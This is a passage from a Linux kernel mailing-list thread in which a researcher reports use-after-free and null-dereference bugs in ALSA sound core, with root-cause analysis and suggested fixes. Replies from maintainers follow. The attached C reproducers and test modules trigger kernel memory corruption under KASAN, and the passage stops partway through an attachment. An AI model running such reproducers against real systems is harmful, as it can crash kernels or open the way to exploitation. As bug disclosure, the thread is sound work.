> > > The bug count is the number of KASAN reports collected in that run;
> > > the first report is the mutex_lock() inside the ioctl entry.
> > >
> > >
> > >
> > > * Suggested direction
> > >
> > > Restore the upstream lifetime in one series:
> > > - snd_compr_open(): snd_card_file_add(), try_module_get(), link
> > > data->list into compr->open_list;
> > > - snd_compr_free(): list_del_init(), module_put() and
> > > snd_card_file_remove(), with the error paths undoing in reverse;
> > > - snd_compress_dev_disconnect(): walk compr->open_list under
> > > compr->lock, STOP RUNNING/DRAINING/PAUSED streams, set
> > > SNDRV_PCM_STATE_DISCONNECTED and wake waiters;
> > > - restore struct snd_compr_file.list and struct snd_compr.open_list.
> > >
> > >
> > > Please keep me in Cc; I am not subscribed to the lists.
> > >
> > > Regards,
> > > Hanxiang Xu
> > > xuhx@hust.edu.cn
> > > // SPDX-License-Identifier: GPL-2.0
> > > #define _GNU_SOURCE
> > > #include <stdio.h>
> > > #include <stdlib.h>
> > > #include <string.h>
> > > #include <fcntl.h>
> > > #include <unistd.h>
> > > #include <errno.h>
> > > #include <pthread.h>
> > > #include <sys/ioctl.h>
> > > #include <sound/asound.h>
> > >
> > > static int write_free(const char *mod)
> > > {
> > > char path[256];
> > > int fd;
> > >
> > > snprintf(path, sizeof(path), "/sys/module/%s/parameters/free", mod);
> > > fd = open(path, O_WRONLY);
> > > if (fd < 0) {
> > > fprintf(stderr, "open %s: %s\n", path, strerror(errno));
> > > return -1;
> > > }
> > > if (write(fd, "1\n", 2) != 2)
> > > fprintf(stderr, "write %s: %s\n", path, strerror(errno));
> > > close(fd);
> > > return 0;
> > > }
> > >
> > > static int do_hwdep(void)
> > > {
> > > struct snd_hwdep_dsp_image img;
> > > int fd;
> > >
> > > fd = open("/dev/snd/hwC0D0", O_RDWR);
> > > if (fd < 0) {
> > > fprintf(stderr, "open hwdep: %s\n", strerror(errno));
> > > return 1;
> > > }
> > > memset(&img, 0, sizeof(img));
> > > img.index = 0;
> > > img.length = 0;
> > > img.image = 0;
> > > for (int i = 0; i < 4; i++) {
> > > if (ioctl(fd, SNDRV_HWDEP_IOCTL_DSP_LOAD, &img) < 0)
> > > fprintf(stderr, "ioctl dsp_load: %s\n", strerror(errno));
> > > }
> > > close(fd);
> > > printf("HWDEP: ioctl done (max_active should be >= 2)\n");
> > > sleep(1);
> > > return 0;
> > > }
> > >
> > > static void *hwdep_thread(void *arg)
> > > {
> > > int fd = *(int *)arg;
> > > struct snd_hwdep_dsp_image img;
> > >
> > > memset(&img, 0, sizeof(img));
> > > img.index = 0;
> > > ioctl(fd, SNDRV_HWDEP_IOCTL_DSP_LOAD, &img);
> > > return NULL;
> > > }
> > >
> > > static int do_hwdep_race(void)
> > > {
> > > pthread_t th[4];
> > > int fd;
> > >
> > > fd = open("/dev/snd/hwC0D0", O_RDWR);
> > > if (fd < 0) {
> > > fprintf(stderr, "open hwdep: %s\n", strerror(errno));
> > > return 1;
> > > }
> > > for (int i = 0; i < 4; i++)
> > > pthread_create(&th[i], NULL, hwdep_thread, &fd);
> > > for (int i = 0; i < 4; i++)
> > > pthread_join(th[i], NULL);
> > > close(fd);
> > > printf("HWDEP: 4 concurrent DSP_LOAD issued\n");
> > > sleep(1);
> > > return 0;
> > > }
> > >
> > > static int do_compress(void)
> > > {
> > > int fd;
> > >
> > > fd = open("/dev/snd/comprC0D0", O_WRONLY);
> > > if (fd < 0) {
> > > fprintf(stderr, "open compress: %s\n", strerror(errno));
> > > return 1;
> > > }
> > > printf("COMPRESS: fd open, freeing card\n");
> > > write_free("sndcore_compress");
> > > printf("COMPRESS: card free returned, issuing ioctl on stale fd\n");
> > > if (ioctl(fd, 0x4300, 0) < 0)
> > > fprintf(stderr, "ioctl stale fd: %s\n", strerror(errno));
> > > printf("COMPRESS: ioctl returned without KASAN report\n");
> > > close(fd);
> > > sleep(1);
> > > return 0;
> > > }
> > >
> > > static int do_rawmidi(void)
> > > {
> > > int fd;
> > >
> > > fd = open("/dev/snd/midiC0D0", O_RDONLY);
> > > if (fd < 0) {
> > > fprintf(stderr, "open rawmidi: %s\n", strerror(errno));
> > > return 1;
> > > }
> > > printf("RAWMIDI: fd open, letting flood thread run\n");
> > > sleep(2);
> > > printf("RAWMIDI: closing (trigger/cancel/free window)\n");
> > > close(fd);
> > > sleep(3);
> > > printf("RAWMIDI: close returned, freeing card\n");
> > > write_free("sndcore_rawmidi");
> > > sleep(1);
> > > return 0;
> > > }
> > >
> > > int main(int argc, char **argv)
> > > {
> > > if (argc < 2) {
> > > fprintf(stderr, "usage: %s jackfree|compress|rawmidi|hwdep|hwdep-race\n", argv[0]);
> > > return 2;
> > > }
> > > if (!strcmp(argv[1], "jackfree"))
> > > return write_free("sndcore_jack");
> > > if (!strcmp(argv[1], "compress"))
> > > return do_compress();
> > > if (!strcmp(argv[1], "rawmidi"))
> > > return do_rawmidi();
> > > if (!strcmp(argv[1], "hwdep"))
> > > return do_hwdep();
> > > if (!strcmp(argv[1], "hwdep-race"))
> > > return do_hwdep_race();
> > > fprintf(stderr, "unknown mode %s\n", argv[1]);
> > > return 2;
> > > }
> > >
> > > // SPDX-License-Identifier: GPL-2.0
> > > #include <linux/module.h>
> > > #include <linux/kernel.h>
> > > #include <linux/slab.h>
> > > #include <sound/core.h>
> > > #include <sound/compress_driver.h>
> > > #include "sndcore_parent.h"
> > >
> > > static struct snd_card *card;
> > > static struct snd_compr *compr;
> > >
> > > static int c_open(struct snd_compr_stream *stream) { return 0; }
> > > static int c_free(struct snd_compr_stream *stream) { return 0; }
> > > static int c_trigger(struct snd_compr_stream *stream, int cmd) { return 0; }
> > >
> > > static struct snd_compr_ops compr_ops = {
> > > .open = c_open,
> > > .free = c_free,
> > > .trigger = c_trigger,
> > > };
> > >
> > > static int free_set(const char *val, const struct kernel_param *kp)
> > > {
> > > if (card) {
> > > pr_info("free: calling snd_card_free(%p)\n", card);
> > > snd_card_free(card);
> > > card = NULL;
> > > }
> > > return 0;
> > > }
> > > static const struct kernel_param_ops free_ops = { .set = free_set };
> > > module_param_cb(free, &free_ops, NULL, 0200);
> > >
> > > static void card_private_free(struct snd_card *c)
> > > {
> > > pr_info("card private_free: kfree(compr=%p)\n", compr);
> > > kfree(compr);
> > > compr = NULL;
> > > }
> > >
> > > static int __init sndcore_compress_init(void)
> > > {
> > > int err;
> > >
> > > err = sndcore_card_new(&card, "sndcore_compress");
> > > if (err < 0)
> > > return err;
> > >
> > > compr = kzalloc(sizeof(*compr), GFP_KERNEL);
> > > if (!compr) {
> > > snd_card_free(card);
> > > card = NULL;
> > > sndcore_parent_put();
> > > return -ENOMEM;
> > > }
> > > compr->ops = &compr_ops;
> > > card->private_free = card_private_free;
> > >
> > > err = snd_compress_new(card, 0, SND_COMPRESS_PLAYBACK, "sndcore", compr);
> > > if (err < 0) {
> > > kfree(compr);
> > > compr = NULL;
> > > snd_card_free(card);
> > > card = NULL;
> > > sndcore_parent_put();
> > > return err;
> > > }
> > > err = snd_card_register(card);
> > > if (err < 0) {
> > > snd_card_free(card);
> > > card = NULL;
> > > sndcore_parent_put();
> > > return err;
> > > }
> > > pr_info("compress card registered\n");
> > > return 0;
> > > }
> > >
> > > static void __exit sndcore_compress_exit(void)
> > > {
> > > if (card) {
> > > snd_card_free(card);
> > > card = NULL;
> > > }
> > > sndcore_parent_put();
> > > }
> > >
> > > module_init(sndcore_compress_init);
> > > module_exit(sndcore_compress_exit);
> > > MODULE_LICENSE("GPL");
> > > MODULE_DESCRIPTION("sound/core MR-03 compress open_list verifier");
> >
> > Thanks for the report.
> >
> > But, as I already requested in your previous reports, could you rather
> > submit a fix patch along with the report? I suppose you're working
> > with AI, so it's just a matter of asking it to the model.
> >
> >
> > Takashi
^ permalink raw reply [flat|nested] 101+ messages in thread
* sound: core: jack kcontrol is published before jack_kctl allocation, and the failure path frees it without removing it from card->controls (null-ptr-deref)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (7 preceding siblings ...)
2026-11-22 7:43 ` sound: core: compress offload fd does not pin card or module, so card removal leaves a live fd pointing at freed snd_compr (KASAN UAF) 徐晗翔
@ 2026-11-22 7:48 ` 徐晗翔
2026-11-24 9:39 ` Sreeraj S Kurup
2026-11-22 7:50 ` sound: core: rawmidi input close can re-queue event_work after cancel_work_sync() (UAF) 徐晗翔
` (32 subsequent siblings)
41 siblings, 1 reply; 101+ messages in thread
From: 徐晗翔 @ 2026-11-22 7:48 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel, lgirdwood, broonie
[-- Attachment #1: Type: text/plain, Size: 6270 bytes --]
snd_jack_kctl_new() publishes a new snd_kcontrol with snd_ctl_add() and
only then allocates the private struct snd_jack_kctl. If that allocation
fails, the error path calls snd_ctl_free_one(kctl) although the control
is still linked in card->controls and card->ctl_hash; snd_ctl_free_one()
does not take controls_rwsem, does not list_del() and does not
remove_hash_entries(). The result is a freed snd_kcontrol that remains
reachable from the card's control list and hash table, so a concurrent
control read (snd_ctl_elem_list(), or the lockless fast path of
snd_ctl_find_id()) can read freed memory and card teardown
(snd_ctl_dev_free() -> __snd_ctl_remove()) will list_del()/kfree() it
again. Upstream's error branch is snd_ctl_remove(card, kctl), not
snd_ctl_free_one(); this tree changed exactly that line.
The same failure-rollback bug has a deterministic companion path:
snd_jack_new() can fail after snd_ctl_add() has already published the
kcontrol (for example, when its subsequent kstrdup() of the jack id
fails), and it also does not undo the publication. On card teardown the
kcontrol's private_free function then runs snd_jack_kctl_private_free()
on a zero-initialized jack_kctl->list and executes list_del() on the
zero page. I reproduced that companion path on Linux 7.3 with KASAN and
a small test module: snd_jack_new() with a 64 MB id returns -ENOMEM after
publishing the kcontrol, and snd_card_free() reports a
null-ptr-deref in snd_jack_kctl_private_free() from
__snd_ctl_remove()/snd_ctl_dev_free().
The detailed description:
* Test environment / affected version
Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC,
vanilla 7.3 source tree, KASAN, QEMU/KVM x86_64 (4 vCPU, 4 GB).
CONFIG_SND_JACK=y and CONFIG_SND_JACK_INPUT_DEV=y. Version line in
evidence/kernel-version.txt.
* Root cause
sound/core/jack.c:426-456 (snd_jack_kctl_new):
kctl = snd_kctl_jack_new(name, card);
if (!kctl)
return NULL;
err = snd_ctl_add(card, kctl); /* publishes into card->controls */
if (err < 0)
return NULL; /* snd_ctl_add already freed it */
jack_kctl = kzalloc_obj(*jack_kctl);
if (!jack_kctl)
goto error; /* kctl is already published */
...
return jack_kctl;
error:
snd_ctl_free_one(kctl); /* no snd_ctl_remove() */
return NULL;
snd_ctl_free_one() (sound/core/control.c:326-334) only calls
private_free and kfree(); its own comment says "Don't call this after
the control was added to the card." The correct primitive,
snd_ctl_remove() (control.c:621-627) / __snd_ctl_remove()
(control.c:581-601), takes controls_rwsem for writing, removes the
hash entries, list_del()s the node and only then frees the object.
Upstream jack.c has snd_ctl_remove(card, kctl) in this error branch.
The second half is in snd_jack_new() (jack.c:480-570): after
snd_jack_kctl_new() has published the kcontrol, later failures
(jack allocation, jack->id kstrdup, input device allocation,
snd_device_new) return without removing it; the kcontrol stays in
card->controls with snd_jack_kctl_private_free installed but with a
never-linked (zeroed) jack_kctl->list.
* Consequences
- Dangling list/hash node: card->controls still contains kctl and
card->ctl_hash still maps its id to it after kfree(kctl).
- Concurrent reader: snd_ctl_elem_list() walks card->controls under
controls_rwsem and reads kctl->id; snd_ctl_find_id()'s fast path
(CONFIG_SND_CTL_FAST_LOOKUP) does xa_load() and elem_id_matches()
without the lock. Either can read freed memory.
- Card teardown: snd_ctl_dev_free() (control.c:2457-2479) walks
card->controls and calls __snd_ctl_remove() on the freed node:
list_del() on freed memory and a second kfree().
- Companion path: snd_jack_new() failure leaves the kcontrol with a
zeroed jack_kctl->list; the card teardown runs
snd_jack_kctl_private_free() -> list_del(&jack_kctl->list), which
writes to address 0x8 and crashes deterministically.
* Trigger model
Primary MR-02 branch: memory allocation failure of
kzalloc_obj(*jack_kctl) after a successful snd_ctl_add(). This can be
induced by memory pressure or fault injection; once it happens, the
damage is persistent (no concurrency needed for the teardown crash).
A concurrent control read/remove widens the impact to UAF before
teardown.
Companion branch: any snd_jack_new() caller (ASoC jack, HDA, test
module) whose later allocation fails; the failure returns an error to
the driver but leaves the published kcontrol behind.
* Reproducer (attached) and results on 7.3
sndcore_jack.c creates a card and calls snd_jack_new() with a 64 MB id
string; snd_jack_kctl_new() publishes the kcontrol, then kstrdup()
fails with -ENOMEM. sndcore_test.c writes the module's "free"
parameter to trigger snd_card_free(). Observed
(evidence/mr02-kasan-null-deref.log):
snd_jack_new(huge id) returned -12 (expected -ENOMEM)
BUG: KASAN: null-ptr-deref in snd_jack_kctl_private_free+0x44/0x80
Write of size 8 at addr 0000000000000008
Call Trace:
snd_jack_kctl_private_free+0x44/0x80
__snd_ctl_remove+0x106/0x140
snd_ctl_dev_free+0x53/0xb0
__snd_device_free+0x86/0x150
snd_device_free_all+0xaa/0xd0
release_card_device+0x4a/0x120
KASAN bug count: 1
This is the companion failure path, not the exact
kzalloc_obj(*jack_kctl) branch; the latter is covered by the static
analysis above and by the upstream-vs-tree diff (upstream uses
snd_ctl_remove()). I state this distinction explicitly rather than
claiming the exact branch was forced.
* Suggested direction
- In snd_jack_kctl_new(), replace the error-path
snd_ctl_free_one(kctl) with snd_ctl_remove(card, kctl), restoring
the upstream behavior.
- In snd_jack_new(), add rollback for every failure after the
snd_jack_kctl_new() call (remove the kcontrol or allocate all
resources before publishing).
- Optionally add a debug check in snd_ctl_free_one() that the control
is not linked, to catch this class of API misuse.
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
[-- Attachment #2: sndcore_test.c --]
[-- Type: text/plain, Size: 3216 bytes --]
// SPDX-License-Identifier: GPL-2.0
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sound/asound.h>
static int write_free(const char *mod)
{
char path[256];
int fd;
snprintf(path, sizeof(path), "/sys/module/%s/parameters/free", mod);
fd = open(path, O_WRONLY);
if (fd < 0) {
fprintf(stderr, "open %s: %s\n", path, strerror(errno));
return -1;
}
if (write(fd, "1\n", 2) != 2)
fprintf(stderr, "write %s: %s\n", path, strerror(errno));
close(fd);
return 0;
}
static int do_hwdep(void)
{
struct snd_hwdep_dsp_image img;
int fd;
fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "open hwdep: %s\n", strerror(errno));
return 1;
}
memset(&img, 0, sizeof(img));
img.index = 0;
img.length = 0;
img.image = 0;
for (int i = 0; i < 4; i++) {
if (ioctl(fd, SNDRV_HWDEP_IOCTL_DSP_LOAD, &img) < 0)
fprintf(stderr, "ioctl dsp_load: %s\n", strerror(errno));
}
close(fd);
printf("HWDEP: ioctl done (max_active should be >= 2)\n");
sleep(1);
return 0;
}
static void *hwdep_thread(void *arg)
{
int fd = *(int *)arg;
struct snd_hwdep_dsp_image img;
memset(&img, 0, sizeof(img));
img.index = 0;
ioctl(fd, SNDRV_HWDEP_IOCTL_DSP_LOAD, &img);
return NULL;
}
static int do_hwdep_race(void)
{
pthread_t th[4];
int fd;
fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "open hwdep: %s\n", strerror(errno));
return 1;
}
for (int i = 0; i < 4; i++)
pthread_create(&th[i], NULL, hwdep_thread, &fd);
for (int i = 0; i < 4; i++)
pthread_join(th[i], NULL);
close(fd);
printf("HWDEP: 4 concurrent DSP_LOAD issued\n");
sleep(1);
return 0;
}
static int do_compress(void)
{
int fd;
fd = open("/dev/snd/comprC0D0", O_WRONLY);
if (fd < 0) {
fprintf(stderr, "open compress: %s\n", strerror(errno));
return 1;
}
printf("COMPRESS: fd open, freeing card\n");
write_free("sndcore_compress");
printf("COMPRESS: card free returned, issuing ioctl on stale fd\n");
if (ioctl(fd, 0x4300, 0) < 0)
fprintf(stderr, "ioctl stale fd: %s\n", strerror(errno));
printf("COMPRESS: ioctl returned without KASAN report\n");
close(fd);
sleep(1);
return 0;
}
static int do_rawmidi(void)
{
int fd;
fd = open("/dev/snd/midiC0D0", O_RDONLY);
if (fd < 0) {
fprintf(stderr, "open rawmidi: %s\n", strerror(errno));
return 1;
}
printf("RAWMIDI: fd open, letting flood thread run\n");
sleep(2);
printf("RAWMIDI: closing (trigger/cancel/free window)\n");
close(fd);
sleep(3);
printf("RAWMIDI: close returned, freeing card\n");
write_free("sndcore_rawmidi");
sleep(1);
return 0;
}
int main(int argc, char **argv)
{
if (argc < 2) {
fprintf(stderr, "usage: %s jackfree|compress|rawmidi|hwdep|hwdep-race\n", argv[0]);
return 2;
}
if (!strcmp(argv[1], "jackfree"))
return write_free("sndcore_jack");
if (!strcmp(argv[1], "compress"))
return do_compress();
if (!strcmp(argv[1], "rawmidi"))
return do_rawmidi();
if (!strcmp(argv[1], "hwdep"))
return do_hwdep();
if (!strcmp(argv[1], "hwdep-race"))
return do_hwdep_race();
fprintf(stderr, "unknown mode %s\n", argv[1]);
return 2;
}
[-- Attachment #3: sndcore_parent.h --]
[-- Type: application/octet-stream, Size: 746 bytes --]
/* SPDX-License-Identifier: GPL-2.0 */
#ifndef SNDCORE_PARENT_H
#define SNDCORE_PARENT_H
#include <linux/device.h>
#include <sound/core.h>
static struct device *sndcore_parent;
static inline int sndcore_card_new(struct snd_card **card, const char *name)
{
int err;
sndcore_parent = root_device_register(name);
if (IS_ERR(sndcore_parent)) {
err = PTR_ERR(sndcore_parent);
sndcore_parent = NULL;
return err;
}
err = snd_card_new(sndcore_parent, 0, "sndcore", THIS_MODULE, 0, card);
if (err < 0) {
root_device_unregister(sndcore_parent);
sndcore_parent = NULL;
}
return err;
}
static inline void sndcore_parent_put(void)
{
if (sndcore_parent) {
root_device_unregister(sndcore_parent);
sndcore_parent = NULL;
}
}
#endif
[-- Attachment #4: sndcore_jack.c --]
[-- Type: text/plain, Size: 1662 bytes --]
// SPDX-License-Identifier: GPL-2.0
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <linux/vmalloc.h>
#include <sound/core.h>
#include <sound/jack.h>
#include "sndcore_parent.h"
static struct snd_card *card;
static int free_set(const char *val, const struct kernel_param *kp)
{
if (card) {
pr_info("free: calling snd_card_free(%p)\n", card);
snd_card_free(card);
card = NULL;
}
return 0;
}
static const struct kernel_param_ops free_ops = { .set = free_set };
module_param_cb(free, &free_ops, NULL, 0200);
static int __init sndcore_jack_init(void)
{
struct snd_jack *jack = NULL;
char *big;
int err;
err = sndcore_card_new(&card, "sndcore_jack");
if (err < 0)
return err;
big = kvmalloc(64 * 1024 * 1024, GFP_KERNEL);
if (!big) {
snd_card_free(card);
card = NULL;
sndcore_parent_put();
return -ENOMEM;
}
memset(big, 'A', 64 * 1024 * 1024 - 1);
big[64 * 1024 * 1024 - 1] = 0;
err = snd_jack_new(card, big, SND_JACK_HEADPHONE, &jack, true, false);
pr_info("snd_jack_new(huge id) returned %d (expected -ENOMEM)\n", err);
if (!err)
pr_warn("unexpected success: jack=%p\n", jack);
kvfree(big);
err = snd_card_register(card);
if (err < 0) {
snd_card_free(card);
card = NULL;
sndcore_parent_put();
return err;
}
pr_info("card registered, kcontrol is published but jack is NULL\n");
return 0;
}
static void __exit sndcore_jack_exit(void)
{
if (card) {
snd_card_free(card);
card = NULL;
}
sndcore_parent_put();
}
module_init(sndcore_jack_init);
module_exit(sndcore_jack_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("sound/core MR-02 jack failure-rollback verifier");
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: sound: core: jack kcontrol is published before jack_kctl allocation, and the failure path frees it without removing it from card->controls (null-ptr-deref)
2026-11-22 7:48 ` sound: core: jack kcontrol is published before jack_kctl allocation, and the failure path frees it without removing it from card->controls (null-ptr-deref) 徐晗翔
@ 2026-11-24 9:39 ` Sreeraj S Kurup
2026-11-25 12:43 ` 徐晗翔
0 siblings, 1 reply; 101+ messages in thread
From: Sreeraj S Kurup @ 2026-11-24 9:39 UTC (permalink / raw)
To: xuhx; +Cc: broonie, lgirdwood, linux-kernel, linux-sound, perex, tiwai
Hi Hanxiang,
Thanks for the detailed report and the KASAN reproducer.
> The same failure-rollback bug has a deterministic companion path:
> snd_jack_new() can fail after snd_ctl_add() has already published the
> kcontrol (for example, when its subsequent kstrdup() of the jack id
> fails), and it also does not undo the publication.
The companion failure path in snd_jack_new() was already fixed by my upstream commit:
commit ebce20196346906cfa33a84a021ce8f9bd91880c
ALSA: jack: Fix jack control cleanup on error paths
https://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound.git/commit/?id=ebce20196346906cfa33a84a021ce8f9bd91880c
The patch initializes jack_kctl->list and routes the failure paths in snd_jack_new() through common
cleanup, ensuring that the previously created kcontrol is removed using snd_ctl_remove().
Could you check whether your reproducer still triggers the issue with this commit applied?
Thanks for reporting this.
Regards,
Sreeraj
^ permalink raw reply [flat|nested] 101+ messages in thread
* Re: Re: sound: core: jack kcontrol is published before jack_kctl allocation, and the failure path frees it without removing it from card->controls (null-ptr-deref)
2026-11-24 9:39 ` Sreeraj S Kurup
@ 2026-11-25 12:43 ` 徐晗翔
0 siblings, 0 replies; 101+ messages in thread
From: 徐晗翔 @ 2026-11-25 12:43 UTC (permalink / raw)
To: Sreeraj S Kurup
Cc: broonie, lgirdwood, linux-kernel, linux-sound, perex, tiwai
That patch does work, thanks.
> -----原始邮件-----
> 发件人: "Sreeraj S Kurup" <sreekuttan2156239@gmail.com>
> 发送时间:2026-11-24 17:39:42 (星期二)
> 收件人: xuhx@hust.edu.cn
> 抄送: broonie@kernel.org, lgirdwood@gmail.com, linux-kernel@vger.kernel.org, linux-sound@vger.kernel.org, perex@perex.cz, tiwai@suse.com
> 主题: Re: sound: core: jack kcontrol is published before jack_kctl allocation, and the failure path frees it without removing it from card->controls (null-ptr-deref)
>
> Hi Hanxiang,
>
> Thanks for the detailed report and the KASAN reproducer.
>
> > The same failure-rollback bug has a deterministic companion path:
> > snd_jack_new() can fail after snd_ctl_add() has already published the
> > kcontrol (for example, when its subsequent kstrdup() of the jack id
> > fails), and it also does not undo the publication.
>
> The companion failure path in snd_jack_new() was already fixed by my upstream commit:
>
> commit ebce20196346906cfa33a84a021ce8f9bd91880c
> ALSA: jack: Fix jack control cleanup on error paths
>
> https://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound.git/commit/?id=ebce20196346906cfa33a84a021ce8f9bd91880c
>
> The patch initializes jack_kctl->list and routes the failure paths in snd_jack_new() through common
> cleanup, ensuring that the previously created kcontrol is removed using snd_ctl_remove().
>
> Could you check whether your reproducer still triggers the issue with this commit applied?
>
> Thanks for reporting this.
>
> Regards,
> Sreeraj
^ permalink raw reply [flat|nested] 101+ messages in thread
* sound: core: rawmidi input close can re-queue event_work after cancel_work_sync() (UAF)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (8 preceding siblings ...)
2026-11-22 7:48 ` sound: core: jack kcontrol is published before jack_kctl allocation, and the failure path frees it without removing it from card->controls (null-ptr-deref) 徐晗翔
@ 2026-11-22 7:50 ` 徐晗翔
2026-11-24 14:52 ` Krzysztof Kozlowski
2026-11-22 7:52 ` sound: core: hwdep DSP_LOAD check-then-act is unlocked, allowing concurrent DSP_LOAD callbacks (UAF) 徐晗翔
` (31 subsequent siblings)
41 siblings, 1 reply; 101+ messages in thread
From: 徐晗翔 @ 2026-11-22 7:50 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
[-- Attachment #1: Type: text/plain, Size: 6160 bytes --]
Closing a RawMIDI input stream can leave a work item queued after the
runtime object it uses has been freed. close_substream() calls
snd_rawmidi_input_trigger(substream, 0) first; that function calls the
driver's trigger(0), then cancel_work_sync(&runtime->event_work) -- but
it does not hold substream->lock and it runs while substream->opened is
still 1. Only afterwards does close_substream() take substream->lock,
set opened = 0, call ops->close() and snd_rawmidi_runtime_free(), which
kfree()s struct snd_rawmidi_runtime.
In the window between cancel_work_sync() returning and opened becoming 0
on another CPU, a driver can still call snd_rawmidi_receive(). receive()
takes substream->lock, sees opened == 1, queues data and executes
schedule_work(&runtime->event_work). The work is then pending again, the
runtime is freed, and when the worker runs it dereferences
runtime->event and runtime->substream -- a use-after-free. Upstream
closes this window with a second cancel_work_sync() after opened is
cleared (the comment says "Drain input work queued after the earlier
cancellation"), and also marks the substream disconnected in
snd_rawmidi_dev_disconnect(). Both protections are missing here.
I reproduced the UAF on Linux 7.3 with KASAN. A test module registers a
rawmidi input stream and a kthread keeps calling snd_rawmidi_receive();
the user program opens /dev/snd/midiC0D0, closes it and frees the card.
The close path re-queues event_work after the first cancellation and the
work reports slab-use-after-free in snd_rawmidi_input_event_work()
(16 KASAN reports in the run). To make the timing deterministic I added
verification-only mdelay() calls in the patched snd-rawmidi.ko: 100 ms
after cancel_work_sync() and 3000 ms at the start of the work. They
widen the window but do not change the ordering; the patch is attached
so the claim can be audited and reverted.
The detailed description:
* Test environment / affected version
Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC,
vanilla 7.3 source with KASAN, QEMU/KVM x86_64 (4 vCPU, 4 GB).
CONFIG_SND_RAWMIDI=m was enabled for the test; the only functional
source change is the verification-only mdelay instrumentation in
sound/core/rawmidi.c (patch attached). Version line in
evidence/kernel-version.txt.
* Root cause
sound/core/rawmidi.c:216-224:
static void snd_rawmidi_input_trigger(struct snd_rawmidi_substream *substream, int up)
{
if (!substream->opened)
return;
substream->ops->trigger(substream, up);
if (!up)
cancel_work_sync(&substream->runtime->event_work);
}
No substream->lock is held across the opened check, trigger and cancel.
sound/core/rawmidi.c:533-565 (close_substream):
if (cleanup) {
if (substream->stream == SNDRV_RAWMIDI_STREAM_INPUT)
snd_rawmidi_input_trigger(substream, 0);
...
}
scoped_guard(spinlock_irq, &substream->lock) {
substream->opened = 0;
substream->append = 0;
}
substream->ops->close(substream);
...
snd_rawmidi_runtime_free(substream); /* kfree(runtime) */
sound/core/rawmidi.c:1146-1218 (snd_rawmidi_receive):
guard(spinlock_irqsave)(&substream->lock);
if (!substream->opened)
return -EBADFD;
...
if (result > 0) {
if (runtime->event)
schedule_work(&runtime->event_work);
...
}
Because receive() serializes with the opened=0 store but not with the
earlier cancel_work_sync(), it can queue the work after cancel and
before opened is cleared. snd_rawmidi_runtime_free() does not cancel
the work and does not re-check it.
Upstream has an additional cancel_work_sync() after opened is cleared
in close_substream(), plus a disconnected flag and cancel in
snd_rawmidi_dev_disconnect(); this tree has neither.
* Trigger model
- An input RawMIDI stream is open and has runtime->event set (the
sequencer's snd_midi_input_event(), or a driver using the RawMIDI
input API);
- the stream is closed while the driver can still deliver input (for
example a serial UART whose receive path checks its own
"input open" mode bit until input_close(), or any driver that calls
snd_rawmidi_receive() from its RX path);
- receive() queues event_work after cancel_work_sync() and before
opened=0; runtime is freed; the worker runs.
The attached test module does not require special hardware: its kthread
plays the role of a driver delivering input.
* Reproducer (attached) and results on 7.3
sndcore_rawmidi.c creates a card + rawmidi input stream, installs a
runtime->event callback and starts a kthread that loops:
reset runtime->avail under substream->lock, then call
snd_rawmidi_receive() with one byte. sndcore_test.c opens
/dev/snd/midiC0D0, sleeps, closes the fd, waits and frees the card.
Observed :
event callback entered n=3 opened=0
BUG: KASAN: slab-use-after-free in snd_rawmidi_input_event_work+0x2d/0x60 [snd_rawmidi]
Workqueue: events snd_rawmidi_input_event_work [snd_rawmidi]
Call Trace:
snd_rawmidi_input_event_work+0x2d/0x60 [snd_rawmidi]
test_event+0x3f/0x60 [sndcore_rawmidi]
process_one_work+...
Allocated by task ...:
open_substream+...
Freed by task ...:
close_substream.part.0+...
Last potentially related work creation:
snd_rawmidi_receive+0x31b/0x5a0 [snd_rawmidi]
flood_fn+...
KASAN bug count: 16
The "opened=0" in the callback is the value observed after the UAF;
the work ran after close, on the freed runtime.
* Suggested direction
- In close_substream(), after opened is cleared, do a second
cancel_work_sync(&runtime->event_work) for the input stream, as
upstream does.
- Restore the per-substream disconnected flag and the receive/trigger
checks, and cancel the work in snd_rawmidi_dev_disconnect().
- Consider taking substream->lock consistently around the opened
check and cancellation, or document the lock ordering.
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
[-- Attachment #2: sndcore_test.c --]
[-- Type: text/plain, Size: 3216 bytes --]
// SPDX-License-Identifier: GPL-2.0
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sound/asound.h>
static int write_free(const char *mod)
{
char path[256];
int fd;
snprintf(path, sizeof(path), "/sys/module/%s/parameters/free", mod);
fd = open(path, O_WRONLY);
if (fd < 0) {
fprintf(stderr, "open %s: %s\n", path, strerror(errno));
return -1;
}
if (write(fd, "1\n", 2) != 2)
fprintf(stderr, "write %s: %s\n", path, strerror(errno));
close(fd);
return 0;
}
static int do_hwdep(void)
{
struct snd_hwdep_dsp_image img;
int fd;
fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "open hwdep: %s\n", strerror(errno));
return 1;
}
memset(&img, 0, sizeof(img));
img.index = 0;
img.length = 0;
img.image = 0;
for (int i = 0; i < 4; i++) {
if (ioctl(fd, SNDRV_HWDEP_IOCTL_DSP_LOAD, &img) < 0)
fprintf(stderr, "ioctl dsp_load: %s\n", strerror(errno));
}
close(fd);
printf("HWDEP: ioctl done (max_active should be >= 2)\n");
